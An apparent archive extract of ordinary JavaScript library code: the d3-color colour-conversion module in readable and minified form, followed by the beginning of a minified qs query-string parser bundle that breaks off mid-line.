  thistle: 0xd8bfd8,
  tomato: 0xff6347,
  turquoise: 0x40e0d0,
  violet: 0xee82ee,
  wheat: 0xf5deb3,
  white: 0xffffff,
  whitesmoke: 0xf5f5f5,
  yellow: 0xffff00,
  yellowgreen: 0x9acd32
};

define(Color, color, {
  displayable: function() {
    return this.rgb().displayable();
  },
  hex: function() {
    return this.rgb().hex();
  },
  toString: function() {
    return this.rgb() + "";
  }
});

function color(format) {
  var m;
  format = (format + "").trim().toLowerCase();
  return (m = reHex3.exec(format)) ? (m = parseInt(m[1], 16), new Rgb((m >> 8 & 0xf) | (m >> 4 & 0x0f0), (m >> 4 & 0xf) | (m & 0xf0), ((m & 0xf) << 4) | (m & 0xf), 1)) // #f00
      : (m = reHex6.exec(format)) ? rgbn(parseInt(m[1], 16)) // #ff0000
      : (m = reRgbInteger.exec(format)) ? new Rgb(m[1], m[2], m[3], 1) // rgb(255, 0, 0)
      : (m = reRgbPercent.exec(format)) ? new Rgb(m[1] * 255 / 100, m[2] * 255 / 100, m[3] * 255 / 100, 1) // rgb(100%, 0%, 0%)
      : (m = reRgbaInteger.exec(format)) ? rgba(m[1], m[2], m[3], m[4]) // rgba(255, 0, 0, 1)
      : (m = reRgbaPercent.exec(format)) ? rgba(m[1] * 255 / 100, m[2] * 255 / 100, m[3] * 255 / 100, m[4]) // rgb(100%, 0%, 0%, 1)
      : (m = reHslPercent.exec(format)) ? hsla(m[1], m[2] / 100, m[3] / 100, 1) // hsl(120, 50%, 50%)
      : (m = reHslaPercent.exec(format)) ? hsla(m[1], m[2] / 100, m[3] / 100, m[4]) // hsla(120, 50%, 50%, 1)
      : named.hasOwnProperty(format) ? rgbn(named[format])
      : format === "transparent" ? new Rgb(NaN, NaN, NaN, 0)
      : null;
}

function rgbn(n) {
  return new Rgb(n >> 16 & 0xff, n >> 8 & 0xff, n & 0xff, 1);
}

function rgba(r, g, b, a) {
  if (a <= 0) r = g = b = NaN;
  return new Rgb(r, g, b, a);
}

function rgbConvert(o) {
  if (!(o instanceof Color)) o = color(o);
  if (!o) return new Rgb;
  o = o.rgb();
  return new Rgb(o.r, o.g, o.b, o.opacity);
}

function rgb(r, g, b, opacity) {
  return arguments.length === 1 ? rgbConvert(r) : new Rgb(r, g, b, opacity == null ? 1 : opacity);
}

function Rgb(r, g, b, opacity) {
  this.r = +r;
  this.g = +g;
  this.b = +b;
  this.opacity = +opacity;
}

define(Rgb, rgb, extend(Color, {
  brighter: function(k) {
    k = k == null ? brighter : Math.pow(brighter, k);
    return new Rgb(this.r * k, this.g * k, this.b * k, this.opacity);
  },
  darker: function(k) {
    k = k == null ? darker : Math.pow(darker, k);
    return new Rgb(this.r * k, this.g * k, this.b * k, this.opacity);
  },
  rgb: function() {
    return this;
  },
  displayable: function() {
    return (0 <= this.r && this.r <= 255)
        && (0 <= this.g && this.g <= 255)
        && (0 <= this.b && this.b <= 255)
        && (0 <= this.opacity && this.opacity <= 1);
  },
  hex: function() {
    return "#" + hex(this.r) + hex(this.g) + hex(this.b);
  },
  toString: function() {
    var a = this.opacity; a = isNaN(a) ? 1 : Math.max(0, Math.min(1, a));
    return (a === 1 ? "rgb(" : "rgba(")
        + Math.max(0, Math.min(255, Math.round(this.r) || 0)) + ", "
        + Math.max(0, Math.min(255, Math.round(this.g) || 0)) + ", "
        + Math.max(0, Math.min(255, Math.round(this.b) || 0))
        + (a === 1 ? ")" : ", " + a + ")");
  }
}));

function hex(value) {
  value = Math.max(0, Math.min(255, Math.round(value) || 0));
  return (value < 16 ? "0" : "") + value.toString(16);
}

function hsla(h, s, l, a) {
  if (a <= 0) h = s = l = NaN;
  else if (l <= 0 || l >= 1) h = s = NaN;
  else if (s <= 0) h = NaN;
  return new Hsl(h, s, l, a);
}

function hslConvert(o) {
  if (o instanceof Hsl) return new Hsl(o.h, o.s, o.l, o.opacity);
  if (!(o instanceof Color)) o = color(o);
  if (!o) return new Hsl;
  if (o instanceof Hsl) return o;
  o = o.rgb();
  var r = o.r / 255,
      g = o.g / 255,
      b = o.b / 255,
      min = Math.min(r, g, b),
      max = Math.max(r, g, b),
      h = NaN,
      s = max - min,
      l = (max + min) / 2;
  if (s) {
    if (r === max) h = (g - b) / s + (g < b) * 6;
    else if (g === max) h = (b - r) / s + 2;
    else h = (r - g) / s + 4;
    s /= l < 0.5 ? max + min : 2 - max - min;
    h *= 60;
  } else {
    s = l > 0 && l < 1 ? 0 : h;
  }
  return new Hsl(h, s, l, o.opacity);
}

function hsl(h, s, l, opacity) {
  return arguments.length === 1 ? hslConvert(h) : new Hsl(h, s, l, opacity == null ? 1 : opacity);
}

function Hsl(h, s, l, opacity) {
  this.h = +h;
  this.s = +s;
  this.l = +l;
  this.opacity = +opacity;
}

define(Hsl, hsl, extend(Color, {
  brighter: function(k) {
    k = k == null ? brighter : Math.pow(brighter, k);
    return new Hsl(this.h, this.s, this.l * k, this.opacity);
  },
  darker: function(k) {
    k = k == null ? darker : Math.pow(darker, k);
    return new Hsl(this.h, this.s, this.l * k, this.opacity);
  },
  rgb: function() {
    var h = this.h % 360 + (this.h < 0) * 360,
        s = isNaN(h) || isNaN(this.s) ? 0 : this.s,
        l = this.l,
        m2 = l + (l < 0.5 ? l : 1 - l) * s,
        m1 = 2 * l - m2;
    return new Rgb(
      hsl2rgb(h >= 240 ? h - 240 : h + 120, m1, m2),
      hsl2rgb(h, m1, m2),
      hsl2rgb(h < 120 ? h + 240 : h - 120, m1, m2),
      this.opacity
    );
  },
  displayable: function() {
    return (0 <= this.s && this.s <= 1 || isNaN(this.s))
        && (0 <= this.l && this.l <= 1)
        && (0 <= this.opacity && this.opacity <= 1);
  }
}));

/* From FvD 13.37, CSS Color Module Level 3 */
function hsl2rgb(h, m1, m2) {
  return (h < 60 ? m1 + (m2 - m1) * h / 60
      : h < 180 ? m2
      : h < 240 ? m1 + (m2 - m1) * (240 - h) / 60
      : m1) * 255;
}

var deg2rad = Math.PI / 180;
var rad2deg = 180 / Math.PI;

// https://beta.observablehq.com/@mbostock/lab-and-rgb
var K = 18,
    Xn = 0.96422,
    Yn = 1,
    Zn = 0.82521,
    t0 = 4 / 29,
    t1 = 6 / 29,
    t2 = 3 * t1 * t1,
    t3 = t1 * t1 * t1;

function labConvert(o) {
  if (o instanceof Lab) return new Lab(o.l, o.a, o.b, o.opacity);
  if (o instanceof Hcl) {
    if (isNaN(o.h)) return new Lab(o.l, 0, 0, o.opacity);
    var h = o.h * deg2rad;
    return new Lab(o.l, Math.cos(h) * o.c, Math.sin(h) * o.c, o.opacity);
  }
  if (!(o instanceof Rgb)) o = rgbConvert(o);
  var r = rgb2lrgb(o.r),
      g = rgb2lrgb(o.g),
      b = rgb2lrgb(o.b),
      y = xyz2lab((0.2225045 * r + 0.7168786 * g + 0.0606169 * b) / Yn), x, z;
  if (r === g && g === b) x = z = y; else {
    x = xyz2lab((0.4360747 * r + 0.3850649 * g + 0.1430804 * b) / Xn);
    z = xyz2lab((0.0139322 * r + 0.0971045 * g + 0.7141733 * b) / Zn);
  }
  return new Lab(116 * y - 16, 500 * (x - y), 200 * (y - z), o.opacity);
}

function gray(l, opacity) {
  return new Lab(l, 0, 0, opacity == null ? 1 : opacity);
}

function lab(l, a, b, opacity) {
  return arguments.length === 1 ? labConvert(l) : new Lab(l, a, b, opacity == null ? 1 : opacity);
}

function Lab(l, a, b, opacity) {
  this.l = +l;
  this.a = +a;
  this.b = +b;
  this.opacity = +opacity;
}

define(Lab, lab, extend(Color, {
  brighter: function(k) {
    return new Lab(this.l + K * (k == null ? 1 : k), this.a, this.b, this.opacity);
  },
  darker: function(k) {
    return new Lab(this.l - K * (k == null ? 1 : k), this.a, this.b, this.opacity);
  },
  rgb: function() {
    var y = (this.l + 16) / 116,
        x = isNaN(this.a) ? y : y + this.a / 500,
        z = isNaN(this.b) ? y : y - this.b / 200;
    x = Xn * lab2xyz(x);
    y = Yn * lab2xyz(y);
    z = Zn * lab2xyz(z);
    return new Rgb(
      lrgb2rgb( 3.1338561 * x - 1.6168667 * y - 0.4906146 * z),
      lrgb2rgb(-0.9787684 * x + 1.9161415 * y + 0.0334540 * z),
      lrgb2rgb( 0.0719453 * x - 0.2289914 * y + 1.4052427 * z),
      this.opacity
    );
  }
}));

function xyz2lab(t) {
  return t > t3 ? Math.pow(t, 1 / 3) : t / t2 + t0;
}

function lab2xyz(t) {
  return t > t1 ? t * t * t : t2 * (t - t0);
}

function lrgb2rgb(x) {
  return 255 * (x <= 0.0031308 ? 12.92 * x : 1.055 * Math.pow(x, 1 / 2.4) - 0.055);
}

function rgb2lrgb(x) {
  return (x /= 255) <= 0.04045 ? x / 12.92 : Math.pow((x + 0.055) / 1.055, 2.4);
}

function hclConvert(o) {
  if (o instanceof Hcl) return new Hcl(o.h, o.c, o.l, o.opacity);
  if (!(o instanceof Lab)) o = labConvert(o);
  if (o.a === 0 && o.b === 0) return new Hcl(NaN, 0, o.l, o.opacity);
  var h = Math.atan2(o.b, o.a) * rad2deg;
  return new Hcl(h < 0 ? h + 360 : h, Math.sqrt(o.a * o.a + o.b * o.b), o.l, o.opacity);
}

function lch(l, c, h, opacity) {
  return arguments.length === 1 ? hclConvert(l) : new Hcl(h, c, l, opacity == null ? 1 : opacity);
}

function hcl(h, c, l, opacity) {
  return arguments.length === 1 ? hclConvert(h) : new Hcl(h, c, l, opacity == null ? 1 : opacity);
}

function Hcl(h, c, l, opacity) {
  this.h = +h;
  this.c = +c;
  this.l = +l;
  this.opacity = +opacity;
}

define(Hcl, hcl, extend(Color, {
  brighter: function(k) {
    return new Hcl(this.h, this.c, this.l + K * (k == null ? 1 : k), this.opacity);
  },
  darker: function(k) {
    return new Hcl(this.h, this.c, this.l - K * (k == null ? 1 : k), this.opacity);
  },
  rgb: function() {
    return labConvert(this).rgb();
  }
}));

var A = -0.14861,
    B = +1.78277,
    C = -0.29227,
    D = -0.90649,
    E = +1.97294,
    ED = E * D,
    EB = E * B,
    BC_DA = B * C - D * A;

function cubehelixConvert(o) {
  if (o instanceof Cubehelix) return new Cubehelix(o.h, o.s, o.l, o.opacity);
  if (!(o instanceof Rgb)) o = rgbConvert(o);
  var r = o.r / 255,
      g = o.g / 255,
      b = o.b / 255,
      l = (BC_DA * b + ED * r - EB * g) / (BC_DA + ED - EB),
      bl = b - l,
      k = (E * (g - l) - C * bl) / D,
      s = Math.sqrt(k * k + bl * bl) / (E * l * (1 - l)), // NaN if l=0 or l=1
      h = s ? Math.atan2(k, bl) * rad2deg - 120 : NaN;
  return new Cubehelix(h < 0 ? h + 360 : h, s, l, o.opacity);
}

function cubehelix(h, s, l, opacity) {
  return arguments.length === 1 ? cubehelixConvert(h) : new Cubehelix(h, s, l, opacity == null ? 1 : opacity);
}

function Cubehelix(h, s, l, opacity) {
  this.h = +h;
  this.s = +s;
  this.l = +l;
  this.opacity = +opacity;
}

define(Cubehelix, cubehelix, extend(Color, {
  brighter: function(k) {
    k = k == null ? brighter : Math.pow(brighter, k);
    return new Cubehelix(this.h, this.s, this.l * k, this.opacity);
  },
  darker: function(k) {
    k = k == null ? darker : Math.pow(darker, k);
    return new Cubehelix(this.h, this.s, this.l * k, this.opacity);
  },
  rgb: function() {
    var h = isNaN(this.h) ? 0 : (this.h + 120) * deg2rad,
        l = +this.l,
        a = isNaN(this.s) ? 0 : this.s * l * (1 - l),
        cosh = Math.cos(h),
        sinh = Math.sin(h);
    return new Rgb(
      255 * (l + a * (A * cosh + B * sinh)),
      255 * (l + a * (C * cosh + D * sinh)),
      255 * (l + a * (E * cosh)),
      this.opacity
    );
  }
}));

exports.color = color;
exports.rgb = rgb;
exports.hsl = hsl;
exports.lab = lab;
exports.hcl = hcl;
exports.lch = lch;
exports.gray = gray;
exports.cubehelix = cubehelix;

Object.defineProperty(exports, '__esModule', { value: true });

})));
d3-color.min.js000064400000023055151677275200007327 0ustar00// https://d3js.org/d3-color/ v1.2.3 Copyright 2018 Mike Bostock
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e(t.d3=t.d3||{})}(this,function(t){"use strict";function e(t,e,n){t.prototype=e.prototype=n,n.constructor=t}function n(t,e){var n=Object.create(t.prototype);for(var i in e)n[i]=e[i];return n}function i(){}var r="\\s*([+-]?\\d+)\\s*",a="\\s*([+-]?\\d*\\.?\\d+(?:[eE][+-]?\\d+)?)\\s*",h="\\s*([+-]?\\d*\\.?\\d+(?:[eE][+-]?\\d+)?)%\\s*",s=/^#([0-9a-f]{3})$/,o=/^#([0-9a-f]{6})$/,l=new RegExp("^rgb\\("+[r,r,r]+"\\)$"),u=new RegExp("^rgb\\("+[h,h,h]+"\\)$"),c=new RegExp("^rgba\\("+[r,r,r,a]+"\\)$"),g=new RegExp("^rgba\\("+[h,h,h,a]+"\\)$"),d=new RegExp("^hsl\\("+[a,h,h]+"\\)$"),p=new RegExp("^hsla\\("+[a,h,h,a]+"\\)$"),f={aliceblue:15792383,antiquewhite:16444375,aqua:65535,aquamarine:8388564,azure:15794175,beige:16119260,bisque:16770244,black:0,blanchedalmond:16772045,blue:255,blueviolet:9055202,brown:10824234,burlywood:14596231,cadetblue:6266528,chartreuse:8388352,chocolate:13789470,coral:16744272,cornflowerblue:6591981,cornsilk:16775388,crimson:14423100,cyan:65535,darkblue:139,darkcyan:35723,darkgoldenrod:12092939,darkgray:11119017,darkgreen:25600,darkgrey:11119017,darkkhaki:12433259,darkmagenta:9109643,darkolivegreen:5597999,darkorange:16747520,darkorchid:10040012,darkred:9109504,darksalmon:15308410,darkseagreen:9419919,darkslateblue:4734347,darkslategray:3100495,darkslategrey:3100495,darkturquoise:52945,darkviolet:9699539,deeppink:16716947,deepskyblue:49151,dimgray:6908265,dimgrey:6908265,dodgerblue:2003199,firebrick:11674146,floralwhite:16775920,forestgreen:2263842,fuchsia:16711935,gainsboro:14474460,ghostwhite:16316671,gold:16766720,goldenrod:14329120,gray:8421504,green:32768,greenyellow:11403055,grey:8421504,honeydew:15794160,hotpink:16738740,indianred:13458524,indigo:4915330,ivory:16777200,khaki:15787660,lavender:15132410,lavenderblush:16773365,lawngreen:8190976,lemonchiffon:16775885,lightblue:11393254,lightcoral:15761536,lightcyan:14745599,lightgoldenrodyellow:16448210,lightgray:13882323,lightgreen:9498256,lightgrey:13882323,lightpink:16758465,lightsalmon:16752762,lightseagreen:2142890,lightskyblue:8900346,lightslategray:7833753,lightslategrey:7833753,lightsteelblue:11584734,lightyellow:16777184,lime:65280,limegreen:3329330,linen:16445670,magenta:16711935,maroon:8388608,mediumaquamarine:6737322,mediumblue:205,mediumorchid:12211667,mediumpurple:9662683,mediumseagreen:3978097,mediumslateblue:8087790,mediumspringgreen:64154,mediumturquoise:4772300,mediumvioletred:13047173,midnightblue:1644912,mintcream:16121850,mistyrose:16770273,moccasin:16770229,navajowhite:16768685,navy:128,oldlace:16643558,olive:8421376,olivedrab:7048739,orange:16753920,orangered:16729344,orchid:14315734,palegoldenrod:15657130,palegreen:10025880,paleturquoise:11529966,palevioletred:14381203,papayawhip:16773077,peachpuff:16767673,peru:13468991,pink:16761035,plum:14524637,powderblue:11591910,purple:8388736,rebeccapurple:6697881,red:16711680,rosybrown:12357519,royalblue:4286945,saddlebrown:9127187,salmon:16416882,sandybrown:16032864,seagreen:3050327,seashell:16774638,sienna:10506797,silver:12632256,skyblue:8900331,slateblue:6970061,slategray:7372944,slategrey:7372944,snow:16775930,springgreen:65407,steelblue:4620980,tan:13808780,teal:32896,thistle:14204888,tomato:16737095,turquoise:4251856,violet:15631086,wheat:16113331,white:16777215,whitesmoke:16119285,yellow:16776960,yellowgreen:10145074};function b(t){var e;return t=(t+"").trim().toLowerCase(),(e=s.exec(t))?new N((e=parseInt(e[1],16))>>8&15|e>>4&240,e>>4&15|240&e,(15&e)<<4|15&e,1):(e=o.exec(t))?y(parseInt(e[1],16)):(e=l.exec(t))?new N(e[1],e[2],e[3],1):(e=u.exec(t))?new N(255*e[1]/100,255*e[2]/100,255*e[3]/100,1):(e=c.exec(t))?w(e[1],e[2],e[3],e[4]):(e=g.exec(t))?w(255*e[1]/100,255*e[2]/100,255*e[3]/100,e[4]):(e=d.exec(t))?v(e[1],e[2]/100,e[3]/100,1):(e=p.exec(t))?v(e[1],e[2]/100,e[3]/100,e[4]):f.hasOwnProperty(t)?y(f[t]):"transparent"===t?new N(NaN,NaN,NaN,0):null}function y(t){return new N(t>>16&255,t>>8&255,255&t,1)}function w(t,e,n,i){return i<=0&&(t=e=n=NaN),new N(t,e,n,i)}function m(t){return t instanceof i||(t=b(t)),t?new N((t=t.rgb()).r,t.g,t.b,t.opacity):new N}function k(t,e,n,i){return 1===arguments.length?m(t):new N(t,e,n,null==i?1:i)}function N(t,e,n,i){this.r=+t,this.g=+e,this.b=+n,this.opacity=+i}function M(t){return((t=Math.max(0,Math.min(255,Math.round(t)||0)))<16?"0":"")+t.toString(16)}function v(t,e,n,i){return i<=0?t=e=n=NaN:n<=0||n>=1?t=e=NaN:e<=0&&(t=NaN),new q(t,e,n,i)}function x(t,e,n,r){return 1===arguments.length?function(t){if(t instanceof q)return new q(t.h,t.s,t.l,t.opacity);if(t instanceof i||(t=b(t)),!t)return new q;if(t instanceof q)return t;var e=(t=t.rgb()).r/255,n=t.g/255,r=t.b/255,a=Math.min(e,n,r),h=Math.max(e,n,r),s=NaN,o=h-a,l=(h+a)/2;return o?(s=e===h?(n-r)/o+6*(n<r):n===h?(r-e)/o+2:(e-n)/o+4,o/=l<.5?h+a:2-h-a,s*=60):o=l>0&&l<1?0:s,new q(s,o,l,t.opacity)}(t):new q(t,e,n,null==r?1:r)}function q(t,e,n,i){this.h=+t,this.s=+e,this.l=+n,this.opacity=+i}function E(t,e,n){return 255*(t<60?e+(n-e)*t/60:t<180?n:t<240?e+(n-e)*(240-t)/60:e)}e(i,b,{displayable:function(){return this.rgb().displayable()},hex:function(){return this.rgb().hex()},toString:function(){return this.rgb()+""}}),e(N,k,n(i,{brighter:function(t){return t=null==t?1/.7:Math.pow(1/.7,t),new N(this.r*t,this.g*t,this.b*t,this.opacity)},darker:function(t){return t=null==t?.7:Math.pow(.7,t),new N(this.r*t,this.g*t,this.b*t,this.opacity)},rgb:function(){return this},displayable:function(){return 0<=this.r&&this.r<=255&&0<=this.g&&this.g<=255&&0<=this.b&&this.b<=255&&0<=this.opacity&&this.opacity<=1},hex:function(){return"#"+M(this.r)+M(this.g)+M(this.b)},toString:function(){var t=this.opacity;return(1===(t=isNaN(t)?1:Math.max(0,Math.min(1,t)))?"rgb(":"rgba(")+Math.max(0,Math.min(255,Math.round(this.r)||0))+", "+Math.max(0,Math.min(255,Math.round(this.g)||0))+", "+Math.max(0,Math.min(255,Math.round(this.b)||0))+(1===t?")":", "+t+")")}})),e(q,x,n(i,{brighter:function(t){return t=null==t?1/.7:Math.pow(1/.7,t),new q(this.h,this.s,this.l*t,this.opacity)},darker:function(t){return t=null==t?.7:Math.pow(.7,t),new q(this.h,this.s,this.l*t,this.opacity)},rgb:function(){var t=this.h%360+360*(this.h<0),e=isNaN(t)||isNaN(this.s)?0:this.s,n=this.l,i=n+(n<.5?n:1-n)*e,r=2*n-i;return new N(E(t>=240?t-240:t+120,r,i),E(t,r,i),E(t<120?t+240:t-120,r,i),this.opacity)},displayable:function(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1}}));var $=Math.PI/180,R=180/Math.PI,j=.96422,I=1,P=.82521,O=4/29,S=6/29,_=3*S*S,z=S*S*S;function C(t){if(t instanceof A)return new A(t.l,t.a,t.b,t.opacity);if(t instanceof K){if(isNaN(t.h))return new A(t.l,0,0,t.opacity);var e=t.h*$;return new A(t.l,Math.cos(e)*t.c,Math.sin(e)*t.c,t.opacity)}t instanceof N||(t=m(t));var n,i,r=G(t.r),a=G(t.g),h=G(t.b),s=B((.2225045*r+.7168786*a+.0606169*h)/I);return r===a&&a===h?n=i=s:(n=B((.4360747*r+.3850649*a+.1430804*h)/j),i=B((.0139322*r+.0971045*a+.7141733*h)/P)),new A(116*s-16,500*(n-s),200*(s-i),t.opacity)}function L(t,e,n,i){return 1===arguments.length?C(t):new A(t,e,n,null==i?1:i)}function A(t,e,n,i){this.l=+t,this.a=+e,this.b=+n,this.opacity=+i}function B(t){return t>z?Math.pow(t,1/3):t/_+O}function D(t){return t>S?t*t*t:_*(t-O)}function F(t){return 255*(t<=.0031308?12.92*t:1.055*Math.pow(t,1/2.4)-.055)}function G(t){return(t/=255)<=.04045?t/12.92:Math.pow((t+.055)/1.055,2.4)}function H(t){if(t instanceof K)return new K(t.h,t.c,t.l,t.opacity);if(t instanceof A||(t=C(t)),0===t.a&&0===t.b)return new K(NaN,0,t.l,t.opacity);var e=Math.atan2(t.b,t.a)*R;return new K(e<0?e+360:e,Math.sqrt(t.a*t.a+t.b*t.b),t.l,t.opacity)}function J(t,e,n,i){return 1===arguments.length?H(t):new K(t,e,n,null==i?1:i)}function K(t,e,n,i){this.h=+t,this.c=+e,this.l=+n,this.opacity=+i}e(A,L,n(i,{brighter:function(t){return new A(this.l+18*(null==t?1:t),this.a,this.b,this.opacity)},darker:function(t){return new A(this.l-18*(null==t?1:t),this.a,this.b,this.opacity)},rgb:function(){var t=(this.l+16)/116,e=isNaN(this.a)?t:t+this.a/500,n=isNaN(this.b)?t:t-this.b/200;return new N(F(3.1338561*(e=j*D(e))-1.6168667*(t=I*D(t))-.4906146*(n=P*D(n))),F(-.9787684*e+1.9161415*t+.033454*n),F(.0719453*e-.2289914*t+1.4052427*n),this.opacity)}})),e(K,J,n(i,{brighter:function(t){return new K(this.h,this.c,this.l+18*(null==t?1:t),this.opacity)},darker:function(t){return new K(this.h,this.c,this.l-18*(null==t?1:t),this.opacity)},rgb:function(){return C(this).rgb()}}));var Q=-.14861,T=1.78277,U=-.29227,V=-.90649,W=1.97294,X=W*V,Y=W*T,Z=T*U-V*Q;function tt(t,e,n,i){return 1===arguments.length?function(t){if(t instanceof et)return new et(t.h,t.s,t.l,t.opacity);t instanceof N||(t=m(t));var e=t.r/255,n=t.g/255,i=t.b/255,r=(Z*i+X*e-Y*n)/(Z+X-Y),a=i-r,h=(W*(n-r)-U*a)/V,s=Math.sqrt(h*h+a*a)/(W*r*(1-r)),o=s?Math.atan2(h,a)*R-120:NaN;return new et(o<0?o+360:o,s,r,t.opacity)}(t):new et(t,e,n,null==i?1:i)}function et(t,e,n,i){this.h=+t,this.s=+e,this.l=+n,this.opacity=+i}e(et,tt,n(i,{brighter:function(t){return t=null==t?1/.7:Math.pow(1/.7,t),new et(this.h,this.s,this.l*t,this.opacity)},darker:function(t){return t=null==t?.7:Math.pow(.7,t),new et(this.h,this.s,this.l*t,this.opacity)},rgb:function(){var t=isNaN(this.h)?0:(this.h+120)*$,e=+this.l,n=isNaN(this.s)?0:this.s*e*(1-e),i=Math.cos(t),r=Math.sin(t);return new N(255*(e+n*(Q*i+T*r)),255*(e+n*(U*i+V*r)),255*(e+n*(W*i)),this.opacity)}})),t.color=b,t.rgb=k,t.hsl=x,t.lab=L,t.hcl=J,t.lch=function(t,e,n,i){return 1===arguments.length?H(t):new K(n,e,t,null==i?1:i)},t.gray=function(t,e){return new A(t,0,0,null==e?1:e)},t.cubehelix=tt,Object.defineProperty(t,"__esModule",{value:!0})});
qs.js000064400000132277151677301600005547 0ustar00(function(f){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=f()}else if(typeof define==="function"&&define.amd){define([],f)}else{var g;if(typeof window!=="undefined"){g=window}else if(typeof global!=="undefined"){g=global}else if(typeof self!=="undefined"){g=self}else{g=this}g.Qs = f()}})(function(){var define,module,exports;return (function(){function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c="function"==typeof require&&require;if(!f&&c)return c(i,!0);if(u)return u(i,!0);var a=new Error("Cannot find module '"+i+"'");throw a.code="MODULE_NOT_FOUND",a}var p=n[i]={exports:{}};e[i][0].call(p.exports,function(r){var n=e[i][1][r];return o(n||r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u="function"==typeof require&&require,i=0;i<t.length;i++)o(t[i]);return o}return r})()({1:[function(require,module,exports){
"use strict";var replace=String.prototype.replace,percentTwenties=/%20/g,Format={RFC1738:"RFC1738",RFC3986:"RFC3986"};module.exports={default:Format.RFC3986,formatters:{RFC1738:function(e){return replace.call(e,percentTwenties,"+")},RFC3986:function(e){return String(e)}},RFC1738:Format.RFC1738,RFC3986:Format.RFC3986};

},{}],2:[function(require,module,exports){
"use strict";var stringify=require(4),parse=require(3),formats=require(1);module.exports={formats:formats,parse:parse,stringify:stringify};

},{"1":1,"3":3,"4":4}],3:[function(require,module,exports){
"use strict";var utils=require(5),has=Object.prototype.hasOwnProperty,isArray=Array.isArray,defaults={allowDots:!1,allowEmptyArrays:!1,allowPrototypes:!1,allowSparse:!1,arrayLimit:20,charset:"utf-8",charsetSentinel:!1,comma:!1,decodeDotInKeys:!1,decoder:utils.decode,delimiter:"&",depth:5,duplicates:"combine",ignoreQueryPrefix:!1,interpretNumericEntities:!1,parameterLimit:1e3,parseArrays:!0,plainObjects:!1,strictNullHandling:!1},interpretNumericEntities=function(e){return e.replace(/&#(\d+);/g,(function(e,t){return String.fromCharCode(parseInt(t,10))}))},parseArrayValue=function(e,t){return e&&"string"==typeof e&&t.comma&&e.indexOf(",")>-1?e.split(","):e},isoSentinel="utf8=%26%2310003%3B",charsetSentinel="utf8=%E2%9C%93",parseValues=function parseQueryStringValues(e,t){var r,a={__proto__:null},o=t.ignoreQueryPrefix?e.replace(/^\?/,""):e,i=t.parameterLimit===1/0?void 0:t.parameterLimit,l=o.split(t.delimiter,i),s=-1,n=t.charset;if(t.charsetSentinel)for(r=0;r<l.length;++r)0===l[r].indexOf("utf8=")&&(l[r]===charsetSentinel?n="utf-8":l[r]===isoSentinel&&(n="iso-8859-1"),s=r,r=l.length);for(r=0;r<l.length;++r)if(r!==s){var p,c,d=l[r],u=d.indexOf("]="),y=-1===u?d.indexOf("="):u+1;-1===y?(p=t.decoder(d,defaults.decoder,n,"key"),c=t.strictNullHandling?null:""):(p=t.decoder(d.slice(0,y),defaults.decoder,n,"key"),c=utils.maybeMap(parseArrayValue(d.slice(y+1),t),(function(e){return t.decoder(e,defaults.decoder,n,"value")}))),c&&t.interpretNumericEntities&&"iso-8859-1"===n&&(c=interpretNumericEntities(c)),d.indexOf("[]=")>-1&&(c=isArray(c)?[c]:c);var f=has.call(a,p);f&&"combine"===t.duplicates?a[p]=utils.combine(a[p],c):f&&"last"!==t.duplicates||(a[p]=c)}return a},parseObject=function(e,t,r,a){for(var o=a?t:parseArrayValue(t,r),i=e.length-1;i>=0;--i){var l,s=e[i];if("[]"===s&&r.parseArrays)l=r.allowEmptyArrays&&""===o?[]:[].concat(o);else{l=r.plainObjects?Object.create(null):{};var n="["===s.charAt(0)&&"]"===s.charAt(s.length-1)?s.slice(1,-1):s,p=r.decodeDotInKeys?n.replace(/%2E/g,"."):n,c=parseInt(p,10);r.parseArrays||""!==p?!isNaN(c)&&s!==p&&String(c)===p&&c>=0&&r.parseArrays&&c<=r.arrayLimit?(l=[])[c]=o:"__proto__"!==p&&(l[p]=o):l={0:o}}o=l}return o},parseKeys=function parseQueryStringKeys(e,t,r,a){if(e){var o=r.allowDots?e.replace(/\.([^.[]+)/g,"[$1]"):e,i=/(\[[^[\]]*])/g,l=r.depth>0&&/(\[[^[\]]*])/.exec(o),s=l?o.slice(0,l.index):o,n=[];if(s){if(!r.plainObjects&&has.call(Object.prototype,s)&&!r.allowPrototypes)return;n.push(s)}for(var p=0;r.depth>0&&null!==(l=i.exec(o))&&p<r.depth;){if(p+=1,!r.plainObjects&&has.call(Object.prototype,l[1].slice(1,-1))&&!r.allowPrototypes)return;n.push(l[1])}return l&&n.push("["+o.slice(l.index)+"]"),parseObject(n,t,r,a)}},normalizeParseOptions=function normalizeParseOptions(e){if(!e)return defaults;if(void 0!==e.allowEmptyArrays&&"boolean"!=typeof e.allowEmptyArrays)throw new TypeError("`allowEmptyArrays` option can only be `true` or `false`, when provided");if(void 0!==e.decodeDotInKeys&&"boolean"!=typeof e.decodeDotInKeys)throw new TypeError("`decodeDotInKeys` option can only be `true` or `false`, when provided");if(null!==e.decoder&&void 0!==e.decoder&&"function"!=typeof e.decoder)throw new TypeError("Decoder has to be a function.");if(void 0!==e.charset&&"utf-8"!==e.charset&&"iso-8859-1"!==e.charset)throw new TypeError("The charset option must be either utf-8, iso-8859-1, or undefined");var t=void 0===e.charset?defaults.charset:e.charset,r=void 0===e.duplicates?defaults.duplicates:e.duplicates;if("combine"!==r&&"first"!==r&&"last"!==r)throw new TypeError("The duplicates option must be either combine, first, or last");return{allowDots:void 0===e.allowDots?!0===e.decodeDotInKeys||defaults.allowDots:!!e.allowDots,allowEmptyArrays:"boolean"==typeof e.allowEmptyArrays?!!e.allowEmptyArrays:defaults.allowEmptyArrays,allowPrototypes:"boolean"==typeof e.allowPrototypes?e.allowPrototypes:defaults.allowPrototypes,allowSparse:"boolean"==typeof e.allowSparse?e.allowSparse:defaults.allowSparse,arrayLimit:"number"==typeof e.arrayLimit?e.arrayLimit:defaults.arrayLimit,charset:t,charsetSentinel:"boolean"==typeof e.charsetSentinel?e.charsetSentinel:defaults.charsetSentinel,comma:"boolean"==typeof e.comma?e.comma:defaults.comma,decodeDotInKeys:"boolean"==typeof e.decodeDotInKeys?e.decodeDotInKeys:defaults.decodeDotInKeys,decoder:"function"==typeof e.decoder?e.decoder:defaults.decoder,delimiter:"string"==typeof e.delimiter||utils.isRegExp(e.delimiter)?e.delimiter:defaults.delimiter,depth:"number"==typeof 